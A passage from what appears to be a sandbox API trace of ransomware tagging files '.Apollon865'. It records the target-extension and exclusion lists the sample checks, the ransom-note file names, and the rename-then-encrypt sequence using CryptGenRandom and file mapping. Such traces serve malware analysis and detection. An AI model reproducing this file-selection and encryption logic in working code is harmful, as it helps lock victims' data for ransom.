	[0078.241] lstrlenW (lpString="dlis") returned 4
	[0078.241] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0078.241] lstrlenW (lpString="dp1") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0078.241] lstrlenW (lpString="dqy") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0078.241] lstrlenW (lpString="dsk") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0078.241] lstrlenW (lpString="dsn") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0078.241] lstrlenW (lpString="dtsx") returned 4
	[0078.241] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0078.241] lstrlenW (lpString="dxl") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0078.241] lstrlenW (lpString="eco") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0078.241] lstrlenW (lpString="ecx") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0078.241] lstrlenW (lpString="edb") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0078.241] lstrlenW (lpString="epim") returned 4
	[0078.241] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0078.241] lstrlenW (lpString="fcd") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0078.241] lstrlenW (lpString="fdb") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0078.241] lstrlenW (lpString="fic") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0078.241] lstrlenW (lpString="flexolibrary") returned 12
	[0078.241] lstrcmpiW (lpString1="ojectMUI.msi", lpString2="flexolibrary") returned 1
	[0078.241] lstrlenW (lpString="fm5") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0078.241] lstrlenW (lpString="fmp") returned 3
	[0078.241] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0078.242] lstrlenW (lpString="fmp12") returned 5
	[0078.242] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1
	[0078.242] lstrlenW (lpString="fmpsl") returned 5
	[0078.242] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1
	[0078.242] lstrlenW (lpString="fol") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0078.242] lstrlenW (lpString="fp3") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0078.242] lstrlenW (lpString="fp4") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0078.242] lstrlenW (lpString="fp5") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0078.242] lstrlenW (lpString="fp7") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0078.242] lstrlenW (lpString="fpt") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0078.242] lstrlenW (lpString="frm") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0078.242] lstrlenW (lpString="gdb") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.242] lstrlenW (lpString="gdb") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.242] lstrlenW (lpString="grdb") returned 4
	[0078.242] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0078.242] lstrlenW (lpString="gwi") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0078.242] lstrlenW (lpString="hdb") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0078.242] lstrlenW (lpString="his") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0078.242] lstrlenW (lpString="ib") returned 2
	[0078.242] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0078.242] lstrlenW (lpString="idb") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0078.242] lstrlenW (lpString="ihx") returned 3
	[0078.242] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0078.243] lstrlenW (lpString="itdb") returned 4
	[0078.243] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0078.243] lstrlenW (lpString="itw") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0078.244] lstrlenW (lpString="jet") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0078.244] lstrlenW (lpString="jtx") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0078.244] lstrlenW (lpString="kdb") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0078.244] lstrlenW (lpString="kexi") returned 4
	[0078.244] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0078.244] lstrlenW (lpString="kexic") returned 5
	[0078.244] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1
	[0078.244] lstrlenW (lpString="kexis") returned 5
	[0078.244] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1
	[0078.244] lstrlenW (lpString="lgc") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0078.244] lstrlenW (lpString="lwx") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0078.244] lstrlenW (lpString="maf") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0078.244] lstrlenW (lpString="maq") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0078.244] lstrlenW (lpString="mar") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0078.244] lstrlenW (lpString="marshal") returned 7
	[0078.244] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1
	[0078.244] lstrlenW (lpString="mas") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0078.244] lstrlenW (lpString="mav") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0078.244] lstrlenW (lpString="maw") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0078.244] lstrlenW (lpString="mdbhtml") returned 7
	[0078.244] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1
	[0078.244] lstrlenW (lpString="mdn") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0078.244] lstrlenW (lpString="mdt") returned 3
	[0078.244] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0078.244] lstrlenW (lpString="mfd") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0078.245] lstrlenW (lpString="mpd") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0078.245] lstrlenW (lpString="mrg") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0078.245] lstrlenW (lpString="mud") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0078.245] lstrlenW (lpString="mwb") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0078.245] lstrlenW (lpString="myd") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0078.245] lstrlenW (lpString="ndf") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0078.245] lstrlenW (lpString="nnt") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0078.245] lstrlenW (lpString="nrmlib") returned 6
	[0078.245] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1
	[0078.245] lstrlenW (lpString="ns2") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0078.245] lstrlenW (lpString="ns3") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0078.245] lstrlenW (lpString="ns4") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0078.245] lstrlenW (lpString="nsf") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0078.245] lstrlenW (lpString="nv") returned 2
	[0078.245] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0078.245] lstrlenW (lpString="nv2") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0078.245] lstrlenW (lpString="nwdb") returned 4
	[0078.245] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0078.245] lstrlenW (lpString="nyf") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0078.245] lstrlenW (lpString="odb") returned 3
	[0078.245] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.245] lstrlenW (lpString="odb") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.246] lstrlenW (lpString="oqy") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0078.246] lstrlenW (lpString="ora") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0078.246] lstrlenW (lpString="orx") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0078.246] lstrlenW (lpString="owc") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0078.246] lstrlenW (lpString="p96") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0078.246] lstrlenW (lpString="p97") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0078.246] lstrlenW (lpString="pan") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0078.246] lstrlenW (lpString="pdb") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0078.246] lstrlenW (lpString="pdm") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0078.246] lstrlenW (lpString="pnz") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0078.246] lstrlenW (lpString="qry") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0078.246] lstrlenW (lpString="qvd") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0078.246] lstrlenW (lpString="rbf") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0078.246] lstrlenW (lpString="rctd") returned 4
	[0078.246] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0078.246] lstrlenW (lpString="rod") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0078.246] lstrlenW (lpString="rodx") returned 4
	[0078.246] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0078.246] lstrlenW (lpString="rpd") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0078.246] lstrlenW (lpString="rsd") returned 3
	[0078.246] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0078.247] lstrlenW (lpString="sas7bdat") returned 8
	[0078.247] lstrcmpiW (lpString1="tMUI.msi", lpString2="sas7bdat") returned 1
	[0078.247] lstrlenW (lpString="sbf") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0078.247] lstrlenW (lpString="scx") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0078.247] lstrlenW (lpString="sdb") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0078.247] lstrlenW (lpString="sdc") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0078.247] lstrlenW (lpString="sdf") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0078.247] lstrlenW (lpString="sis") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0078.247] lstrlenW (lpString="spq") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0078.247] lstrlenW (lpString="te") returned 2
	[0078.247] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0078.247] lstrlenW (lpString="teacher") returned 7
	[0078.247] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1
	[0078.247] lstrlenW (lpString="tmd") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0078.247] lstrlenW (lpString="tps") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0078.247] lstrlenW (lpString="trc") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.247] lstrlenW (lpString="trc") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.247] lstrlenW (lpString="trm") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0078.247] lstrlenW (lpString="udb") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0078.247] lstrlenW (lpString="udl") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0078.247] lstrlenW (lpString="usr") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0078.247] lstrlenW (lpString="v12") returned 3
	[0078.247] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0078.248] lstrlenW (lpString="vis") returned 3
	[0078.248] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0078.248] lstrlenW (lpString="vpd") returned 3
	[0078.248] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0078.248] lstrlenW (lpString="vvv") returned 3
	[0078.248] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0078.248] lstrlenW (lpString="wdb") returned 3
	[0078.248] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0078.248] lstrlenW (lpString="wmdb") returned 4
	[0078.248] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0078.248] lstrlenW (lpString="wrk") returned 3
	[0078.248] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0078.248] lstrlenW (lpString="xdb") returned 3
	[0078.248] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0078.248] lstrlenW (lpString="xld") returned 3
	[0078.248] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0078.248] lstrlenW (lpString="xmlff") returned 5
	[0078.248] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1
	[0078.248] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="..") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="windows") returned -1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="bootmgr") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="temp") returned -1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="pagefile.sys") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="boot") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="ids.txt") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="ntuser.dat") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="perflogs") returned 1
	[0078.248] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="MSBuild") returned 1
	[0078.248] lstrlenW (lpString="ProjectMUI.xml") returned 14
	[0078.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0078.248] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ProjectMUI.xml" | out: lpString1="ProjectMUI.xml") returned="ProjectMUI.xml"
	[0078.248] lstrlenW (lpString="ProjectMUI.xml") returned 14
	[0078.248] lstrlenW (lpString="Apollon865") returned 10
	[0078.249] lstrcmpiW (lpString1="ectMUI.xml", lpString2="Apollon865") returned 1
	[0078.249] lstrlenW (lpString=".dll") returned 4
	[0078.249] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".dll") returned 1
	[0078.249] lstrlenW (lpString=".lnk") returned 4
	[0078.249] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".lnk") returned 1
	[0078.249] lstrlenW (lpString=".ini") returned 4
	[0078.249] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".ini") returned 1
	[0078.249] lstrlenW (lpString=".sys") returned 4
	[0078.249] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".sys") returned 1
	[0078.249] lstrlenW (lpString="ProjectMUI.xml") returned 14
	[0078.249] lstrlenW (lpString="bak") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.249] lstrlenW (lpString="ba_") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.249] lstrlenW (lpString="dbb") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.249] lstrlenW (lpString="vmdk") returned 4
	[0078.249] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.249] lstrlenW (lpString="rar") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.249] lstrlenW (lpString="zip") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.249] lstrlenW (lpString="tgz") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.249] lstrlenW (lpString="vbox") returned 4
	[0078.249] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.249] lstrlenW (lpString="vdi") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.249] lstrlenW (lpString="vhd") returned 3
	[0078.249] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.249] lstrlenW (lpString="vhdx") returned 4
	[0078.249] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.249] lstrlenW (lpString="avhd") returned 4
	[0078.249] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.249] lstrlenW (lpString="db") returned 2
	[0078.249] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.249] lstrlenW (lpString="db2") returned 3
	[0078.250] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.250] lstrlenW (lpString="db3") returned 3
	[0078.250] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.250] lstrlenW (lpString="dbf") returned 3
	[0078.250] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.250] lstrlenW (lpString="mdf") returned 3
	[0078.250] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.250] lstrlenW (lpString="mdb") returned 3
	[0078.250] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.250] lstrlenW (lpString="sql") returned 3
	[0078.250] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.250] lstrlenW (lpString="sqlite") returned 6
	[0078.250] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1
	[0078.250] lstrlenW (lpString="sqlite3") returned 7
	[0078.250] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1
	[0078.250] lstrlenW (lpString="sqlitedb") returned 8
	[0078.250] lstrcmpiW (lpString1="tMUI.xml", lpString2="sqlitedb") returned 1
	[0078.250] lstrlenW (lpString="xml") returned 3
	[0078.250] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.250] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.Apollon865") returned 88
	[0078.250] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.254] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1452) returned 1
	[0078.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfbc8
	[0078.254] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfc50) returned 1
	[0078.255] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.255] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0078.255] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0xd8
	[0078.257] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x120000
	[0078.273] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfc50) returned 1
	[0078.274] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.274] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0078.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0078.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0078.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.274] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.275] CloseHandle (hObject=0xd8) returned 1
	[0078.275] CloseHandle (hObject=0x15c) returned 1
	[0078.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0078.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.275] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="..") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="windows") returned -1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="bootmgr") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="temp") returned -1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="pagefile.sys") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="boot") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="ids.txt") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="ntuser.dat") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="perflogs") returned 1
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2="MSBuild") returned 1
	[0078.275] lstrlenW (lpString="ProjLR.cab") returned 10
	[0078.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0078.275] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ProjLR.cab" | out: lpString1="ProjLR.cab") returned="ProjLR.cab"
	[0078.275] lstrlenW (lpString="ProjLR.cab") returned 10
	[0078.275] lstrlenW (lpString="Apollon865") returned 10
	[0078.275] lstrlenW (lpString=".dll") returned 4
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".dll") returned 1
	[0078.275] lstrlenW (lpString=".lnk") returned 4
	[0078.275] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".lnk") returned 1
	[0078.276] lstrlenW (lpString=".ini") returned 4
	[0078.276] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".ini") returned 1
	[0078.276] lstrlenW (lpString=".sys") returned 4
	[0078.276] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".sys") returned 1
	[0078.276] lstrlenW (lpString="ProjLR.cab") returned 10
	[0078.276] lstrlenW (lpString="bak") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.276] lstrlenW (lpString="ba_") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.276] lstrlenW (lpString="dbb") returned 3
